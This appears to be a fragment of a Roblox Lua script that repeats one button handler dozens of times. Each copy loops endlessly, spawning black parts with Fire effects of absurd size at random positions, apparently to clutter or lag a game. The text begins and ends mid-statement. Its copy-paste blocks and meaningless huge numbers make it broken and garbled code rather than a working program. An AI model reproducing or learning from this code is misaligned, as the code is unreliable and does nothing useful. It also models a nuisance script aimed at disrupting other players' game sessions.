Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true 